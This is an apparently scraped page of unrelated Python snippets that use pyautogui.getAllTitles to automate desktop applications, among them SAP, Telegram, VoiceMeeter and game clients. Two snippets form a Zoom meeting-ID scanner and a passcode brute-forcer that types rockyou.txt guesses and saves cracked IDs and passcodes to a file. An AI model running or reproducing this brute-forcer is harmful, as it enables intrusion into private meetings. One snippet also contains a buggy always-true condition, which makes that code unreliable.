Beispiel #1
0
    def _new_mode(self):

        for transaction in gui.getAllTitles():
            if transaction.startswith('ZLPC'):
                continue
            elif transaction.startswith(titles_tuple):
                temp_transaction = gui.getWindowsWithTitle(str(transaction))[0]
                temp_transaction.activate()
                print(temp_transaction)
                hotkey(transaction_names['new_mode'], (410, 30, 575, 60),
                       'ctrl', 'n')
                while gui.getActiveWindowTitle == temp_transaction:
                    print(gui.getActiveWindowTitle)
                    gui.sleep(0.25)
                print('test')
                if 'Information' in gui.getAllTitles():
                    dialog = gui.confirm(text='Много окошек. Закрываю одно',
                                         title='Limit of tabs',
                                         buttons=['OK', 'Cancel'])
                    if dialog == 'OK':
                        information = gw.getWindowsWithTitle('Information')[
                            0]  # ЗАКРЫВАЕТ ВСЕ ОКНА
                        print(information)
                        gui.press('esc')
                        print(temp_transaction)
                        temp_transaction.close()
                        continue
                    else:
                        exit()
                elif gui.locateOnScreen(transaction_names['sap_easy_access'],
                                        region=names_region):
                    break
Beispiel #2
0
def _getPosteRazorWindow():
    # Find the PosteRazor window.
    posterazorWindows = [
        title for title in pyautogui.getAllTitles()
        if title.startswith('PosteRazor ')
    ]
    if len(posterazorWindows) == 0:
        logging.error(
            'Could not find the window for PosteRazor. Please run PosteRazor.')
        raise PosteRazorAPIException(
            'Could not find the window for PosteRazor. Please run PosteRazor.')
    elif len(posterazorWindows) > 1:
        logging.error(
            '%s instances of PosteRazor found. Please run only one instance of PosteRazor.'
            % (len(posterazorWindows)))
        raise PosteRazorAPIException(
            '%s instances of PosteRazor found. Please run only one instance of PosteRazor.'
            % (len(posterazorWindows)))

    postWin = pyautogui.getWindowsWithTitle(posterazorWindows[0])[0]

    # Resize and focus the window.
    postWin.resizeTo(1, 1)  # Set the size of PosteRazor to its smallest size.
    postWin.activate()
    return postWin
Beispiel #3
0
    def check_link(self, link):
        # Checks the Link Passed
        try:
            join_again_case = pyautogui.locateOnScreen('./Open_Meeting.png')
            pyautogui.click(join_again_case)
        except:
            print(Fore.RED + Back.BLUE +'[+] Seems Like it is First RUN')
        self.enter_meeting = pyautogui.locateOnScreen('./Enter-Meeting.png')
        while self.enter_meeting == None:
            self.enter_meeting = pyautogui.locateOnScreen('./Enter-Meeting.png')
            print(f'Enter Meeting Status on Screen {self.enter_meeting}')
            invalid_id = pyautogui.locateOnScreen('./Invalid_ID.png')
            if invalid_id != None:

                ok_loc_e = pyautogui.locateOnScreen('./Ok_Button.png')
                while ok_loc_e == None:
                    ok_loc_e = pyautogui.locateOnScreen('./Ok_Button.png')
                pyautogui.click(ok_loc_e)
                join_meeting_ez = pyautogui.locateOnScreen('./join-meeting.png')
                while join_meeting_ez == None:
                    join_meeting_ez = pyautogui.locateOnScreen('./join-meeting.png')
                pyautogui.click(join_meeting_ez)


        pyautogui.click(self.enter_meeting)
        pyautogui.typewrite(f'{link}')
        pyautogui.press('enter')
        print(Fore.RED + Back.GREEN +'[+] Now Sleeping for 8 Seconds :)')
        sleep(8)
        try:
            self.invalid_loc = pyautogui.locateOnScreen('./Invalid_ID_Force.png')
            if self.invalid_loc != None:
                ok_location = pyautogui.locateOnScreen('./Ok_Button.png')
                pyautogui.click(ok_location)
                return False
        except:
            self.invalid_loc = pyautogui.locateOnScreen('./Invalid_ID.png')
            if self.invalid_loc != None:
                ok_location = pyautogui.locateOnScreen('./Ok_Button.png')
                pyautogui.click(ok_location)
                return False

        print('[+] Correct Meeting ID Found - Failsafe unactivated')
        active_titles = pyautogui.getAllTitles()
        if 'Enter meeting password' or 'meeting password' in active_titles:
            with open('Zoom-Meetings.txt', 'a+') as f:
                f.write(f'{link}:pswd\n')
                return True

        let_u_in = pyautogui.locateOnScreen('./Let-u-in.png')
        if let_u_in != None:
            with open('Zoom-Meetings.txt', 'a+') as f:
                f.write(f'{link}:no_pswd\n')
                return True
Beispiel #4
0
    def brute_force_link(self, meeting_id, dict='./rockyou.txt'):
        print('[+] Starting to BruteForce Meeting ID : ')
        open_meeting_loc = pyautogui.locateOnScreen('./Open_Meeting.png')
        pyautogui.click(open_meeting_loc)
        self.enter_meeting = pyautogui.locateOnScreen('./Enter-Meeting.png')
        pyautogui.click(self.enter_meeting)
        pyautogui.typewrite(f'{meeting_id}')
        pyautogui.press('enter')
        if 'Enter meeting passcode' in pyautogui.getAllTitles():
            Bruter = Figlet()
            Bruter.renderText('Ottoman-Bruter')
            print('[+] Sultan Abdul Hamid Han II - May God Almighty bless his soul and those martyrs who fought for the Caliphate Against the Young Turks and the Free Masons and Iluminati.')
            print('[+] Ottoman Motto: Fight against those who Oppress and Protect those who are Oppressed from the Oppressors')
            print('[+] Ottoman-Bruter Forcer Started')
            if dict == './rockyou.txt':
                print('[+] Using Default RockYou Password Dictionary [F**k the Byzantines, aka. British]')
            else:
                print('[*] Remember Dict should be of the Format:\n guess1\nguess2\nguess3\n')
            with open(dict, 'r', encoding='utf8', errors='ignore') as f:
                guess = f.read()
                self.guess = guess.split('\n')
                print(f'Password Guesses Loaded: {len(self.guess)}')
            let_u_in = pyautogui.locateOnScreen('./Let-u-in.png')
            while let_u_in == None:
                password_entry_location = pyautogui.locateOnScreen('./passcode.png')
                if password_entry_location == None:
                    print('[**] Strange Anomaly Detected there is no Password Entry Box on the Screen')
                    print('[**] Please Bring it up on the Screen for the Program to Continue')
                    while password_entry_location == None:
                        password_entry_location = pyautogui.locateOnScreen('./passcode.png')
                else:
                    pyautogui.click(password_entry_location)

                for password in self.guess:
                    print(f'[?] Trying Password: {password}')
                    pyautogui.typewrite(password)
                    join_meeting_button = pyautogui.locateOnScreen('./join-meeting.png')
                    pyautogui.click(join_meeting_button)
                    sleep(8)
                    check_fail_1 = pyautogui.locateOnScreen('./failed-attempt.png')
                    if check_fail_1 == None:
                        let_u_in = pyautogui.locateOnScreen('./Let-u-in.png')
                        if let_u_in != None:
                            print(f'[+] Password Found Now in Waiting Room - Password is {password} for ID {meeting_id}')
                            with open('works.txt', 'a+') as f:
                                f.write(f'{meeting_id}:{password}\n')
                                break

            print('Ottoman Brute Forcer Completed Execution')
            print('Allah is the Greatest ....')
def get_screen_dimension(select_screen=True):
    wins_named = dict(zip(pyautogui.getAllTitles(), pyautogui.getAllWindows()))
    x = wins_named[windows_name].left
    y = wins_named[windows_name].top
    w = wins_named[windows_name].width
    h = wins_named[windows_name].height

    if select_screen:
        pyautogui.mouseDown(x + w / 2, y + h / 2)
        time.sleep(0.2)
        pyautogui.mouseUp()

    #return (x + 8, y + 52, x+w - 8, y+h - 10)
    return {"left": x + 8, "top":  y + 52, "width": w - 16, "height": h - 62}
Beispiel #6
0
 def sap_access(self):
     try:
         trigger = False
         for transaction in gui.getAllTitles():
             if 'SAP Easy Access' in transaction:
                 sap_main = gui.getWindowsWithTitle(str(transaction))[0]
                 sap_main.activate()
                 trigger = True
                 break
         if not trigger:
             raise IndexError
     except IndexError:
         print('Seems there is no opened main SAP window')
         self._new_mode()
Beispiel #7
0
def focus_on_telegram():
    titles = auto.getAllTitles()
    main = None
    for i in titles:
        if 'telegram' in i.lower():
            main = i
            break
    if main is not None:
        telegram = auto.getWindowsWithTitle(main)
        telegram[0].activate()
        sleep(0.02)
        auto.press('down')
        auto.press('enter')
        print('Pressed')
        sleep(0.02)
Beispiel #8
0
vbanEnable = Point(x=30, y=53)

vbanWin = None


def addp(p1, p2):
    return pyautogui.Point(x=p1.x + p2.x, y=p1.y + p2.y)


def subp(p1, p2):
    return pyautogui.Point(x=p1.x - p2.x, y=p1.y - p2.y)


try:
    voicemeeterWin = pyautogui.getAllWindows()[pyautogui.getAllTitles().index(voicemeeterWinTitle)]
    voicemeeterWin.activate()
except ValueError:
    pyautogui.alert("Open VoiceMeeter Banana window before running this program.\nInstall it if it's not installed yet")
    exit(1)


def vbanSetIn(addr, port):
    logger.info("setting vban in to %s:%d", addr, port)
    pyautogui.click(addp(vbanWin.topleft, vbanWinHeader))
    time.sleep(minGuiDelay)
    pyautogui.click(addp(vbanWin.topleft, vbanInAddr1))
    time.sleep(minGuiDelay)
    pyautogui.write(f"{addr}\n")
    time.sleep(minGuiDelay)
    pyautogui.click(addp(vbanWin.topleft, vbanInPort1))
Beispiel #9
0
'''
#Setup the script to text me when I receive a new skype message
#If you need to see how many active windows there currently are
test = pyautogui.getAllTitles()
active_windows = [x for x in test if x != '']
print(len(active_windows))

'''

import time
import pyautogui
from twilio.rest import Client

count = 0
while count < 1:
    test = pyautogui.getAllTitles()
    active_windows = [x for x in test if x != '']
    if len(active_windows) > 10:
        account_sid = '*******************'
        auth_token = '******************'
        client = Client(account_sid, auth_token)
        message = client.messages.create(body='Work',
                                         from_='*****',
                                         to='******')
        print(message.sid)
        count += 1
##
sleep(1)
print(
    pyautogui.alert(text='Давайте я покажу вам как работает эта программа',
                    title='interceptor',
                    button='OK'))
sleep(0.5)
print(
    pyautogui.confirm(text='Еще одно бесполезное окошко',
                      title='Опрос граждан',
                      buttons=['OK', 'Cancel']))
pyautogui.moveTo(x=1265, y=1056, duration=0.8)
pyautogui.click()
##
program_list = pyautogui.getAllTitles()
program_list
##
for i in range(40):
    if 'Новая вкладка - Google Chrome' in program_list:
        break
    sleep(0.5)
print(i)
pyautogui.moveTo(408, 57, duration=1)
pyautogui.click()
pyautogui.typewrite('spongebob cooking', interval=0.2)
pyautogui.press('enter')
pyautogui.moveTo(349, 208, duration=0.5)
pyautogui.click()
pyautogui.moveTo(1060, 418, duration=0.7)
pyautogui.click()
Beispiel #11
0
@author: urre
"""

import mov_det_screen_v1 as detector
import HP_detection as HP
import time
import pyautogui
import random

pyautogui.FAILSAFE = True

Action = False
action_time = 0

win_index = pyautogui.getAllTitles().index('Old School RuneScape')
#x0 = 1920-pyautogui.getAllWindows()[win_index].size.width + 20

x0 = pyautogui.getAllWindows()[win_index].topleft.x + 30


def eating_function(ptg, threshold, clicked_positions):
    inventory_positions = [[(1732, 769), (1774, 769), (1816, 769),
                            (1858, 769)],
                           [(1732, 805), (1774, 805), (1816, 805),
                            (1858, 805)],
                           [(1732, 841), (1774, 841), (1816, 841),
                            (1858, 841)],
                           [(1732, 877), (1774, 877), (1816, 877),
                            (1858, 877)],
                           [(1732, 913), (1774, 913), (1816, 913),
Beispiel #12
0
import pygetwindow as gw
import pyautogui as gui
from transaction_names import transaction_names, names_region, titles_tuple
from time import time

# print(locals().get('transaction_name').title)
print(gui.getAllTitles())

# print(gw.getWindowsWithTitle('zlpc')[0])

# zlpc = gw.getWindowsWithTitle('ZLPC')[0]
# zihp = gw.getWindowsWithTitle('In-house processing 2300')[0]
# sap_main = gw.getWindowsWithTitle('SAP Easy Access')[0]
# zlt10 = gw.getWindowsWithTitle('Stock transfer: Warehouse 270')[0]


def hotkey(image, reg, button1, button2):
    while True:
        image_location = gui.locateOnScreen(image, region=reg)
        if image_location is not None:
            gui.hotkey(button1, button2)
            gui.sleep(0.1)
            break


class Transaction:
    def _new_mode(self):

        for transaction in gui.getAllTitles():
            if transaction.startswith('ZLPC'):
                continue
Beispiel #13
0
try:
    activewindow = pg.getWindowsWithTitle(windowname)[0]
except:
    print('KAT not open')
    sys.exit()
activewindow.restore()
if activewindow.isMaximized is False:
    activewindow.maximize()

pg.click(1000, 0)
print('i hope KAT is selected')

isthiskat = pg.pixelMatchesColor(160, 125, (30, 93, 167))
if isthiskat is False:
    print('i don\'t think this is KAT. '
          'i\'ll see if i can bring it into focus.')
    try:
        for i in pg.getAllTitles():
            trackwindows = pg.getWindowsWithTitle(i)[0]
            if windowname in str(trackwindows):
                trackwindows.maximize()
                break
            else:
                trackwindows.minimize()
        focuswindow()
        print('i had to minimize everything to bring KAT into focus')
    except:
        sys.exit('sorry, but i can\'t bring KAT into focus')

print('i hope this is finally KAT')
    """
    if total_buttons == 1 or total_buttons == 2:
        pyautogui.moveTo(CENTER_X + 210, CENTER_Y - 16, duration=0)
    else:
        pyautogui.moveTo(CENTER_X + 210, CENTER_Y - 16 - 16, duration=0)


print("Screen Resolution :  Width : " + str(WIDTH) + " Height  : " +
      str(HEIGHT))
print(str(WIDTH) + " x " + str(HEIGHT))
print("Center point " + str(CENTER_X) + " x " + str(CENTER_Y))

pyautogui.alert('Start ? ')

print("NoxPlayer found : ")
print("NoxPlayer" in pyautogui.getAllTitles())

rotate_around_nox_screen()
rotate_around_sender_chat_area()

do_not_click_on_it_again = [(0, 0)]

for x in range(LOOPER):
    print("Current LOOPER : " + str(x))

    sender_chat_area_snap = ImageGrab.grab(
        bbox=(SENDER_CHAT_AREA_TOP_LEFT_X, SENDER_CHAT_AREA_TOP_LEFT_Y,
              SENDER_CHAT_AREA_TOP_LEFT_X + SENDER_CHAT_AREA_WIDTH,
              SENDER_CHAT_AREA_TOP_LEFT_Y + SENDER_CHAT_AREA_HEIGHT))

    sender_chat_area_snap.save(SENDER_CHAT_AREA_PNG_PATH)
Beispiel #15
0
import keyboard, pyautogui, time, mouse, pygetwindow
from pynput.mouse import Button, Controller

#Configurações iniciais
time.sleep(2)
janela = pyautogui.getAllTitles()
print(janela)
mouse = Controller()

client = pygetwindow.getWindowsWithTitle("League Of Legends")[0]
client.moveTo(0, 0)

#Laço principal
while True:
    #a = time.localtime()
    #b = time.strftime("%H:%M:%S", a)
    #print(b)
    #Checar qual janela do lol está aberta

    janela = pyautogui.getAllTitles()

    #Executar se somente o client estiver aberto
    if "League of Legends (TM) Client" not in janela:

        #Procurar partida
        encontrar = pyautogui.locateOnScreen("encontrar.png",
                                             region=(400, 650, 250, 50),
                                             grayscale=True)
        if encontrar:
            pyautogui.moveTo(encontrar)
            mouse.press(Button.left)
Beispiel #16
0
import pyautogui

print(pyautogui.getAllTitles())